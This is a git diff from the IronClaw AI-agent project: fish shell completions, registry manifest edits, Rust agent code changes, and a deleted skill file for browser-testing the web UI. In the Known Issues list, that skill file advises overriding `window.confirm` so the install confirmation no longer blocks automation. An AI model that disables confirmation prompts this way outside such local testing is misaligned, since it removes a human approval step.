complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "start" -d 'Start the installed service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "stop" -d 'Stop the running service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "status" -d 'Show service status'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l shell -d 'The shell to generate completions for' -r -f -a "bash\t''
zsh\t''
fish\t''
powershell\t''
elvish\t''"
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l job-id -d 'Job ID to execute' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l orchestrator-url -d 'URL of the orchestrator\'s internal API' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l max-iterations -d 'Maximum iterations before stopping' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l job-id -d 'Job ID to execute' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l orchestrator-url -d 'URL of the orchestrator\'s internal API' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l max-turns -d 'Maximum agentic turns for Claude Code' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l model -d 'Claude model to use (e.g. "sonnet", "opus")' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "run" -d 'Run the agent (default if no subcommand given)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "onboard" -d 'Interactive onboarding wizard'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "config" -d 'Manage configuration settings'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "tool" -d 'Manage WASM tools'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "mcp" -d 'Manage MCP servers (hosted tool providers)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "memory" -d 'Query and manage workspace memory'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "pairing" -d 'DM pairing (approve inbound requests from unknown senders)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "service" -d 'Manage OS service (launchd / systemd)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "doctor" -d 'Probe external dependencies and validate configuration'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "status" -d 'Show system health and diagnostics'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "completion" -d 'Generate shell completion scripts'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "worker" -d 'Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "claude-bridge" -d 'Run as a Claude Code bridge inside a Docker container (internal use). Spawns the `claude` CLI and streams output back to the orchestrator'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "init" -d 'Generate a default config.toml file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "list" -d 'List all settings and their current values'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "get" -d 'Get a specific setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "set" -d 'Set a setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "reset" -d 'Reset a setting to its default value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "path" -d 'Show the settings storage info'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "list" -d 'List installed tools'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "remove" -d 'Remove an installed tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "info" -d 'Show information about a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "auth" -d 'Configure authentication for a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "add" -d 'Add an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "remove" -d 'Remove an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "list" -d 'List configured MCP servers'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "test" -d 'Test connection to an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from mcp" -f -a "toggle" -d 'Enable or disable an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "read" -d 'Read a file from the workspace'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "write" -d 'Write content to a workspace file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "tree" -d 'Show workspace directory tree'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from memory" -f -a "status" -d 'Show workspace status (document count, index health)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from pairing" -f -a "list" -d 'List pending pairing requests'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from pairing" -f -a "approve" -d 'Approve a pairing request by code'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "start" -d 'Start the installed service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "stop" -d 'Stop the running service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "status" -d 'Show service status'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from service" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file'
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 267 KiB

After

Width:  |  Height:  |  Size: 1.4 MiB

-2285
View File
File diff suppressed because it is too large Load Diff
+1 -1
View File
@@ -32,7 +32,7 @@
"tools/gmail",
"tools/google-calendar",
"tools/google-drive",
"tools/slack-tool",
"tools/slack",
"channels/telegram",
"channels/slack"
],
+3 -3
View File
@@ -1,9 +1,9 @@
{
"name": "discord",
"display_name": "Discord Channel",
"display_name": "Discord",
"kind": "channel",
"version": "0.1.0",
"description": "Talk to your agent in Discord",
"description": "Discord Gateway/Webhook channel for slash commands, buttons, and messages",
"keywords": ["messaging", "chat", "discord", "bot"],
"source": {
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/discord-wasm32-wasip2.tar.gz",
"url": null,
"sha256": null
}
},
+3 -3
View File
@@ -1,9 +1,9 @@
{
"name": "slack",
"display_name": "Slack Channel",
"display_name": "Slack",
"kind": "channel",
"version": "0.1.0",
"description": "Talk to your agent in Slack",
"description": "Slack Events API channel for receiving and responding to Slack messages",
"keywords": ["messaging", "chat", "workspace", "slack"],
"source": {
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-wasm32-wasip2.tar.gz",
"url": null,
"sha256": null
}
},
+3 -3
View File
@@ -1,9 +1,9 @@
{
"name": "telegram",
"display_name": "Telegram Channel",
"display_name": "Telegram",
"kind": "channel",
"version": "0.1.0",
"description": "Talk to your agent through a Telegram bot",
"description": "Telegram Bot API channel for receiving and responding to messages",
"keywords": ["messaging", "bot", "chat", "telegram"],
"source": {
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-wasm32-wasip2.tar.gz",
"url": null,
"sha256": null
}
},
+3 -3
View File
@@ -1,9 +1,9 @@
{
"name": "whatsapp",
"display_name": "WhatsApp Channel",
"display_name": "WhatsApp",
"kind": "channel",
"version": "0.1.0",
"description": "Talk to your agent through WhatsApp",
"description": "WhatsApp Cloud API channel for receiving and responding to messages",
"keywords": ["messaging", "chat", "whatsapp", "meta"],
"source": {
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/whatsapp-wasm32-wasip2.tar.gz",
"url": null,
"sha256": null
}
},
+1 -1
View File
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/github-wasm32-wasip2.tar.gz",
"url": null,
"sha256": null
}
},
+1 -1
View File
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/gmail-wasm32-wasip2.tar.gz",
"url": null,
"sha256": null
}
},
+1 -1
View File
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-calendar-wasm32-wasip2.tar.gz",
"url": null,
"sha256": null
}
},
+1 -1
View File
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-docs-wasm32-wasip2.tar.gz",
"url": null,
"sha256": null
}
},
+1 -1
View File
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-drive-wasm32-wasip2.tar.gz",
"url": null,
"sha256": null
}
},
+1 -1
View File
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-sheets-wasm32-wasip2.tar.gz",
"url": null,
"sha256": null
}
},
+1 -1
View File
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/google-slides-wasm32-wasip2.tar.gz",
"url": null,
"sha256": null
}
},
+1 -1
View File
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/okta-wasm32-wasip2.tar.gz",
"url": null,
"sha256": null
}
},
+4 -4
View File
@@ -1,9 +1,9 @@
{
"name": "slack-tool",
"display_name": "Slack Tool",
"name": "slack",
"display_name": "Slack",
"kind": "tool",
"version": "0.1.0",
"description": "Your agent uses Slack to post and read messages in your workspace",
"description": "Post messages, read channels, and manage conversations via Slack API",
"keywords": ["messaging", "chat", "workspace"],
"source": {
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/slack-tool-wasm32-wasip2.tar.gz",
"url": null,
"sha256": null
}
},
+4 -4
View File
@@ -1,9 +1,9 @@
{
"name": "telegram-mtproto",
"display_name": "Telegram Tool",
"name": "telegram",
"display_name": "Telegram",
"kind": "tool",
"version": "0.1.0",
"description": "Your agent uses your Telegram account to read and send messages",
"description": "Telegram user-mode integration via MTProto for messages and contacts",
"keywords": ["messaging", "chat", "telegram", "mtproto"],
"source": {
@@ -14,7 +14,7 @@
"artifacts": {
"wasm32-wasip2": {
"url": "https://github.com/nearai/ironclaw/releases/latest/download/telegram-mtproto-wasm32-wasip2.tar.gz",
"url": null,
"sha256": null
}
},
-106
View File
@@ -1,106 +0,0 @@
---
name: web-ui-test
version: 0.1.0
description: Test the IronClaw web UI using the Claude for Chrome browser extension.
activation:
keywords:
- test web ui
- test the ui
- browser test
- chrome test
- test skills tab
- test chat
- web gateway test
patterns:
- "test.*web.*ui"
- "test.*browser"
- "chrome.*extension.*test"
---
# Web UI Testing with Claude for Chrome
Use this skill when manually testing the IronClaw web gateway UI via the Claude for Chrome browser extension.
## Prerequisites
- IronClaw must be running with `GATEWAY_ENABLED=true`
- Note the gateway URL (default: `http://127.0.0.1:3000/`) and auth token
- The Claude for Chrome extension must be installed and connected
## Starting the Server
```bash
CLI_ENABLED=false GATEWAY_AUTH_TOKEN=<your-token> cargo run
```
Wait for "Agent ironclaw ready and listening" in the logs before proceeding.
## Test Checklist
### 1. Connection
- Navigate to `http://127.0.0.1:3000/?token=<token>`
- Verify "Connected" indicator in the top-right corner
- Verify all tabs are visible: Chat, Memory, Jobs, Routines, Extensions, Skills
### 2. Chat Tab
- Send a simple message (e.g., "Hello, what tools do you have?")
- Verify the LLM responds without errors
- If you see "Invalid schema for function" errors, the tool schema fix (PR #301) may not be merged yet
### 3. Skills Tab
- Click the Skills tab
- Verify "No skills installed" or a list of installed skills (no "Skills system not enabled" error)
- Search for "markdown" in the ClawHub search box
- Verify results appear with: name, version, description, relevance score, "updated X ago"
- Verify skill names are clickable links to clawhub.ai
- If search returns empty with a yellow warning banner, the registry may be unreachable
### 4. Skill Install (from search)
- Search for a skill (e.g., "markdown")
- Click "Install" on a result
- Confirm the install dialog
- Verify success toast appears
- Verify the skill appears in "Installed Skills" section
### 5. Skill Install (by URL)
- Scroll to "Install Skill by URL"
- Enter a skill name and a ClawHub download URL:
- Name: `markdown-viewer`
- URL: `https://wry-manatee-359.convex.site/api/v1/download?slug=markdown-viewer`
- Click Install
- Verify success toast and skill appears in installed list
### 6. Skill Remove
- Find an installed skill
- Click "Remove"
- Confirm removal
- Verify the skill disappears from the installed list
### 7. Other Tabs (smoke test)
- **Memory**: Should show the memory filesystem (may be empty)
- **Jobs**: Should show job list (may be empty)
- **Routines**: Should show routine list
- **Extensions**: Should show extension list with install options
## Cleanup
After testing, remove any test-installed skills:
```bash
rm -rf ~/.ironclaw/installed_skills/<skill-name>
```
Stop the server with Ctrl+C or by killing the process.
## Known Issues
- ClawHub registry at `clawhub.ai` is behind Vercel which blocks non-browser TLS fingerprints; the backend uses `wry-manatee-359.convex.site` directly
- Skill downloads are ZIP archives containing SKILL.md, not raw text
- The `confirm()` dialog for install may block browser automation; override with `window.confirm = () => true` in the console first
+23 -105
View File
@@ -68,7 +68,6 @@ pub struct AgentDeps {
pub workspace: Option<Arc<Workspace>>,
pub extension_manager: Option<Arc<ExtensionManager>>,
pub skill_registry: Option<Arc<std::sync::RwLock<SkillRegistry>>>,
pub skill_catalog: Option<Arc<crate::skills::catalog::SkillCatalog>>,
pub skills_config: SkillsConfig,
pub hooks: Arc<HookRegistry>,
/// Cost enforcement guardrails (daily budget, hourly rate limits).
@@ -99,7 +98,7 @@ impl Agent {
pub fn new(
config: AgentConfig,
deps: AgentDeps,
channels: Arc<ChannelManager>,
channels: ChannelManager,
heartbeat_config: Option<HeartbeatConfig>,
hygiene_config: Option<crate::config::HygieneConfig>,
routine_config: Option<RoutineConfig>,
@@ -124,7 +123,7 @@ impl Agent {
Self {
config,
deps,
channels,
channels: Arc::new(channels),
context_manager,
scheduler,
router: Router::new(),
@@ -138,11 +137,6 @@ impl Agent {
// Convenience accessors
/// Get the scheduler (for external wiring, e.g. CreateJobTool).
pub fn scheduler(&self) -> Arc<Scheduler> {
Arc::clone(&self.scheduler)
}
pub(super) fn store(&self) -> Option<&Arc<dyn Database>> {
self.deps.store.as_ref()
}
@@ -180,10 +174,6 @@ impl Agent {
self.deps.skill_registry.as_ref()
}
pub(super) fn skill_catalog(&self) -> Option<&Arc<crate::skills::catalog::SkillCatalog>> {
self.deps.skill_catalog.as_ref()
}
/// Select active skills for a message using deterministic prefiltering.
pub(super) fn select_active_skills(
&self,
@@ -368,6 +358,10 @@ impl Agent {
}
});
tracing::info!(
"Heartbeat enabled with {}s interval",
hb_config.interval_secs
);
let hygiene = self
.hygiene_config
.as_ref()
@@ -379,7 +373,6 @@ impl Agent {
hygiene,
workspace.clone(),
self.cheap_llm().clone(),
self.safety().clone(),
Some(notify_tx),
))
} else {
@@ -407,7 +400,6 @@ impl Agent {
self.llm().clone(),
Arc::clone(workspace),
notify_tx,
Some(self.scheduler.clone()),
));
// Register routine tools
@@ -418,7 +410,7 @@ impl Agent {
// Load initial event cache
engine.refresh_event_cache().await;
// Spawn notification forwarder (mirrors heartbeat pattern)
// Spawn notification forwarder
let channels = self.channels.clone();
tokio::spawn(async move {
while let Some(response) = notify_rx.recv().await {
@@ -428,33 +420,14 @@ impl Agent {
.and_then(|v| v.as_str())
.unwrap_or("default")
.to_string();
let notify_channel = response
.metadata
.get("notify_channel")
.and_then(|v| v.as_str())
.map(|s| s.to_string());
// Try the configured channel first, fall back to
// broadcasting on all channels.
let targeted_ok = if let Some(ref channel) = notify_channel {
channels
.broadcast(channel, &user, response.clone())
.await
.is_ok()
} else {
false
};
if !targeted_ok {
let results = channels.broadcast_all(&user, response).await;
for (ch, result) in results {
if let Err(e) = result {
tracing::warn!(
"Failed to broadcast routine notification to {}: {}",
ch,
e
);
}
let results = channels.broadcast_all(&user, response).await;
for (ch, result) in results {
if let Err(e) = result {
tracing::warn!(
"Failed to broadcast routine notification to {}: {}",
ch,
e
);
}
}
}
@@ -529,41 +502,21 @@ impl Agent {
Ok(crate::hooks::HookOutcome::Continue {
modified: Some(new_content),
}) => {
if let Err(e) = self
let _ = self
.channels
.respond(&message, OutgoingResponse::text(new_content))
.await
{
tracing::error!(
channel = %message.channel,
error = %e,
"Failed to send response to channel"
);
}
.await;
}
_ => {
if let Err(e) = self
let _ = self
.channels
.respond(&message, OutgoingResponse::text(response))
.await
{
tracing::error!(
channel = %message.channel,
error = %e,
"Failed to send response to channel"
);
}
.await;
}
}
}
Ok(Some(empty)) => {
Ok(Some(_)) => {
// Empty response, nothing to send (e.g. approval handled via send_status)
tracing::debug!(
channel = %message.channel,
user = %message.user_id,
empty_len = empty.len(),
"Suppressed empty response (not sent to channel)"
);
}
Ok(None) => {
// Shutdown signal received (/quit, /exit, /shutdown)
@@ -572,17 +525,10 @@ impl Agent {
}
Err(e) => {
tracing::error!("Error handling message: {}", e);
if let Err(send_err) = self
let _ = self
.channels
.respond(&message, OutgoingResponse::text(format!("Error: {}", e)))
.await
{
tracing::error!(
channel = %message.channel,
error = %send_err,
"Failed to send error response to channel"
);
}
.await;
}
}
@@ -612,19 +558,6 @@ impl Agent {
}
async fn handle_message(&self, message: &IncomingMessage) -> Result<Option<String>, Error> {
// Set message tool context for this turn (current channel and target)
// For Signal, use signal_target from metadata (group:ID or phone number),
// otherwise fall back to user_id
let target = message
.metadata
.get("signal_target")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.unwrap_or_else(|| message.user_id.clone());
self.tools()
.set_message_tool_context(Some(message.channel.clone()), Some(target))
.await;
// Parse submission type first
let mut submission = SubmissionParser::parse(&message.content);
@@ -722,13 +655,6 @@ impl Agent {
Submission::Heartbeat => self.process_heartbeat().await,
Submission::Summarize => self.process_summarize(session, thread_id).await,
Submission::Suggest => self.process_suggest(session, thread_id).await,
Submission::JobStatus { job_id } => {
self.process_job_status(&message.user_id, job_id.as_deref())
.await
}
Submission::JobCancel { job_id } => {
self.process_job_cancel(&message.user_id, &job_id).await
}
Submission::Quit => return Ok(None),
Submission::SwitchThread { thread_id: target } => {
self.process_switch_thread(message, target).await
@@ -759,15 +685,7 @@ impl Agent {
// Convert SubmissionResult to response string
match result? {
SubmissionResult::Response { content } => {
// Suppress silent replies (e.g. from group chat "nothing to say" responses)
if crate::llm::is_silent_reply(&content) {
tracing::debug!("Suppressing silent reply token");
Ok(None)
} else {
Ok(Some(content))
}
}
SubmissionResult::Response { content } => Ok(Some(content)),
SubmissionResult::Ok { message } => Ok(message),
SubmissionResult::Error { message } => Ok(Some(format!("Error: {}", message))),
SubmissionResult::Interrupted => Ok(Some("Interrupted.".into())),
+36 -289
View File
@@ -12,20 +12,8 @@ use crate::agent::session::Session;
use crate::agent::submission::SubmissionResult;
use crate::agent::{Agent, MessageIntent};
use crate::channels::{IncomingMessage, StatusUpdate};
use crate::context::JobState;
use crate::error::Error;
use crate::llm::{ChatMessage, Reasoning};
/// Format a count with a suffix, using K/M abbreviations for large numbers.
fn format_count(n: u64, suffix: &str) -> String {
if n >= 1_000_000 {
format!("{:.1}M {}", n as f64 / 1_000_000.0, suffix)
} else if n >= 1_000 {
format!("{:.1}K {}", n as f64 / 1_000.0, suffix)
} else {
format!("{} {}", n, suffix)
}
}
use crate::llm::ChatMessage;
impl Agent {
/// Handle job-related intents without turn tracking.
@@ -85,23 +73,36 @@ impl Agent {
description: String,
category: Option<String>,
) -> Result<String, Error> {
// Create job context
let job_id = self
.scheduler
.dispatch_job(user_id, &title, &description, None)
.context_manager
.create_job_for_user(user_id, &title, &description)
.await?;
// Set the dedicated category field (not stored in metadata)
if let Some(cat) = category
&& let Err(e) = self
.context_manager
// Update category if provided
if let Some(cat) = category {
self.context_manager
.update_context(job_id, |ctx| {
ctx.category = Some(cat);
})
.await
{
tracing::warn!(job_id = %job_id, "Failed to set job category: {}", e);
.await?;
}
// Persist new job to database (fire-and-forget)
if let Some(store) = self.store()
&& let Ok(ctx) = self.context_manager.get_context(job_id).await
{
let store = store.clone();
tokio::spawn(async move {
if let Err(e) = store.save_job(&ctx).await {
tracing::warn!("Failed to persist new job {}: {}", job_id, e);
}
});
}
// Schedule for execution
self.scheduler.schedule(job_id).await?;
Ok(format!(
"Created job: {}\nID: {}\n\nThe job has been scheduled and is now running.",
title, job_id
@@ -118,22 +119,6 @@ impl Agent {
let uuid = Uuid::parse_str(&id)
.map_err(|_| crate::error::JobError::NotFound { id: Uuid::nil() })?;
// Try DB first for persistent state, fall back to ContextManager.
if let Some(store) = self.store()
&& let Ok(Some(ctx)) = store.get_job(uuid).await
{
return Ok(format!(
"Job: {}\nStatus: {:?}\nCreated: {}\nStarted: {}\nActual cost: {}",
ctx.title,
ctx.state,
